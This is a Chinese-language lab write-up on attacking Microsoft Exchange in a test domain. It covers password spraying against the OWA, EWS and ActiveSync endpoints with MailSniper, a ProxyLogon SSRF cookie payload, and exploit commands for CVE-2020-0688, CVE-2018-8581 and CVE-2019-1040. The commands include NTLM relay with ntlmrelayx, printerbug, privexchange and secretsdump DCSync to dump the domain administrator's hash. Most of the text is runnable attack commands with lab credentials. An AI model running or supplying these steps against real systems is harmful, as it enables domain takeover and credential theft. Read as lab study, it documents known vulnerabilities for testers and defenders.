前言
实验环境:DC (10.10.10.10) windows server 2012 R2
Exchange Server(10.10.10.40)windows server 2012 R2 Exchange 2016 CU18
辅助DC (10.10.10.20)
攻击机IP (10.10.10.142)
域:c0okb.cn(域用户:testMember@c0okb.cn,administrator@c0okb.cn)
发现Exchange
端口扫描探测


特殊后缀
1 | https://ServerAddress/AutoDiscover/ 该接口能用于爆破账号密码 |
其中能用于账号密码爆破:
1 | /AutoDiscover/ |
特殊域名
通过一些特殊的子域名在互联网中发现Exchange服务器
1 | https://autodiscover.domain.com/autodiscover/autodiscover.xml |
查看Exchange版本
在outlook界面查看源代码,通过查看link标签中的数字与链接

通过其中的数字与官方的内部版本号进行对比即可判断版本。
1 | https://docs.microsoft.com/zh-cn/Exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 |

Exchange账号密码爆破
在Exchange服务中,以下几个接口可以用于账号密码的爆破
1 | /AutoDiscover/ |
收集邮箱信息
工具:MailSniper
1 | Import-Module .\MailSniper.ps1 |

利用AutoDiscover接口进行密码爆破
工具:Ruler
利用该接口,可以对邮箱账号密码进行爆破。利用工具Ruler对该接口进行认证的暴力破解,该工具可以配置线程数、间隔时间可以限制破解速度防止多次登陆失败触发告警或账户被封禁。

利用owa接口进行密码爆破
工具:MailSniper
1 | Invoke-PasswordSprayOWA -ExchHostname 10.10.10.40 -UserList .\user.txt -Password 1qaz@WSX -Threads 1 -Domain c0okb.cn -OutFile out.txt -Verbose |

利用ews接口进行密码爆破
工具:MailSniper
1 | Invoke-PasswordSprayEWS -ExchHostname 10.10.10.40 -UserList .\user.txt -Password 1qaz@WSX -Threads 1 -Domain c0okb.cn -OutFile out.txt -Verbose |

利用Microsoft-Server-ActiveSync接口进行密码爆破
工具:MailSniper
1 | Invoke-PasswordSprayEAS -ExchHostname 10.10.10.40 -UserList .\user.txt -Password 1qaz@WSX -Threads 1 -Domain c0okb.cn -OutFile out.txt -Verbose |
Exchange 历史漏洞总结
CVE-2021-34473
Microsoft Exchange Server存在远程执行代码漏洞,未经身份验证的远程攻击者向服务器发送精心构造的请求,可在目标服务器上执行任意代码。
影响版本:
Microsoft Exchange Server 2019 Cumulative Update 9
Microsoft Exchange Server 2013 Cumulative Update 23
Microsoft Exchange Server 2019 Cumulative Update 8
Microsoft Exchange Server 2016 Cumulative Update 19
Microsoft Exchange Server 2016 Cumulative Update 20
PS: 未有公开完整的EXP
参考文章:
https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/
https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1
CVE-2021-28482
影响版本:
Microsoft Exchange Server 2019 Cumulative Update 8
Microsoft Exchange Server 2019 Cumulative Update 9
Microsoft Exchange Server 2016 Cumulative Update 19
Microsoft Exchange Server 2016 Cumulative Update 20
Microsoft Exchange Server 2013 Cumulative Update 23
利用条件:需要一个普通账户
测试版本:Exchange Server 2016 CU12 (失败)
EXP
https://gist.github.com/testanull/9ebbd6830f7a501e35e67f2fcaa57bda
可参考链接:
https://www.youtube.com/watch?v=2ludXDGfOlQ
PS: 在复现过程中用github的现有工具testanull,复现失败,此处存疑,可能是版本问题,或者工具自身问题,待研究。
CVE-2021-26855
影响版本:
Microsoft Exchange 2013
Microsoft Exchange 2016 cu18
Microsoft Exchange 2019
Microsoft Exchange 2010
介绍:该漏洞是Exchange中的服务端请求伪造漏洞(SSRF),利用此漏洞的攻击者能够发送任意HTTP请求并绕过Exchange Server身份验证,远程未授权的攻击者可以利用该漏洞以进行内网探测,并可以用于窃取用户邮箱的全部内容。
利用路径
1 | /owa/auth/x.js |
POC
1 | Cookie: X-AnonResource=true; X-AnonResource-Backend=*******/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3; |
仅仅是SSRF不太行,结合CVE-2021-27065可以达到RCE的效果,
CVE-2021-27065:该漏洞是Exchange中的任意文件写入漏洞。该漏洞需要进行身份认证,利用此漏洞可以将文件写入服务器上的任何路径。并可以结合利用CVE-2021-26855 SSRF漏洞或绕过权限认证进行文件写入。


CVE-2020-17144
影响版本:
Microsoft Exchange 2010 SP3 update Rollup 31
利用条件:需要一个普通账号
EXP1: https://github.com/Airboi/CVE-2020-17144-EXP


EXP2:https://github.com/zcgonvh/CVE-2020-17144
CVE-2020-16875
漏洞描述:远程攻击者通过构造特殊的cmdlet参数,可造成任意命令执行。
影响版本:
Microsoft Exchange 2016 cu 16/17
Microsoft Exchange 2019 cu 5/6
利用条件:需要一个普通账号
方法一
POC:https://srcincite.io/pocs/cve-2020-16875.py.txt

方法二
MSF漏洞利用
1 | msfconsole |
CVE-2020-0688
漏洞描述:当攻击者通过各种手段获得一个可以访问Exchange Control Panel (ECP)组件的用户账号密码,就可以在被攻击的exchange上执行任意代码,直接获取服务器权限。
影响版本:
Microsoft Exchange 2010 SP3 update Rollup 30
Microsoft Exchange 2013 cu 23
Microsoft Exchange 2016 cu 14/15
Microsoft Exchange 2019 cu 3/4
利用条件:需要有一个普通用户账号
利用工具:https://github.com/Ridter/cve-2020-0688
执行EXP如下:
1 | python3 cve-2020-0688.py -s https://192.168.111.182/owa/ -u [email protected] -p xxxxxxxx -c calc |
工具:https://github.com/pwntester/ysoserial.net/releases/tag/v1.33
运行ysoserial.exe

生成的payload,在python脚本中回车,返回500

命令执行成功

Exchange内网利用
CVE-2018-8581
这个漏洞利用一个可以正常登入的普通用户账户,通过ssrf调用Exchange Server凭证到已控制的内网服务器上,并默认Exchange Server权限较高,就达到了提权的目的。
影响版本:
Exchange Server 2010
Exchange Server 2013
Exchange Server 2016
PS:在测试过程中,发现累计更新版本过高的没法打,影响版本此次存疑
方法一
1 | sudo python2 Exchange2domain.py -ah 10.10.10.139 -ap 80 -u testMember -p "Buzhidao250." -d c0okb.cn -th 10.10.10.10 10.10.10.40 |
方法二
利用工具:Privexchange,一个普通的用户账号密码
攻击者开启NTLM中继
1 | sudo python3 ntlmrelayx.py -t ldap://10.10.10.10 --escalate-user testMember |
攻击Exchange服务器,发起SSRF攻击,调用Exchange凭据到目标服务器
1 | sudo python2 privexchange.py -ah 10.10.10.139 exchange.c0okb.cn -u testMember -p "Buzhidao250." -d c0okb.cn --no-ssl --debug |
回调凭证信息到攻击者服务器,读取信息
1 | python3 secretsdump.py c0okb/testMember:[email protected] -dc-ip 10.10.10.10 -just-dc-user administrator |
CVE-2019-1040
用任何AD帐户,通过SMB连接到目标Exchange服务器,并触发SpoolService错误。目标服务器将通过SMB回连至攻击者主机,使用ntlmrelayx将SMB身份验证中继到LDAP。使用中继的LDAP身份验证,为攻击者帐户授予DCSync权限。攻击者帐户使用DCSync转储AD中的所有密码哈希值。
影响版本:影响版本看这里
PS: 在测试过程中,发现累计更新版本过高的没法打
利用条件:已有域成员账号密码,存在一台exchange服务
方法一
(1)ntlmrelayx.py进行中继攻击
执行ntlmrelayx.py脚本进行NTLM中继攻击,设置SMB服务器并将认证凭据中继到LDAP协议。其中–remove-mic选项用于清除MIC标志,–escalate-user用于提升指定用户权限
1 | sudo python3 ntlmrelayx.py --escalate-user administrator -t ldap://10.10.10.10 -smb2support --remove-mic --delegate-access |

(2)触发SpoolService的bug
SpoolService的bug导致Exchange服务器回连到ntlmrelayx.py,即将NTLM认证信息发送到ntlmrelayx.py
1 | python3 printerbug.py c0okb/administrator@10.10.10.40 10.10.10.142 |


(3)secretsdump.py去dcsync
1 | python3 secretsdump.py c0okb/administrator@10.10.10.10 -dc-ip 10.10.10.10 -just-dc-user administrator |

PS:因为环境问题,所以复现过程直接用administrator演示。并且在复现过程中忽略内网代理这一步。
方法二
工具:RelayX
默认Exchange的服务权限较高,所以工具会利用Exchange的权限将当前用户增加Dcsync权限。
1 | python3 relayx.py c0okb.cn/testMember:'Buzhidao250.'@10.10.10.40 -r 10.10.10.142 -dc-ip 10.10.10.40 |
PS: 方法一和方法二实际上是一样的,方法二的工具将ntlm-relay和printBug集成在一起,方便使用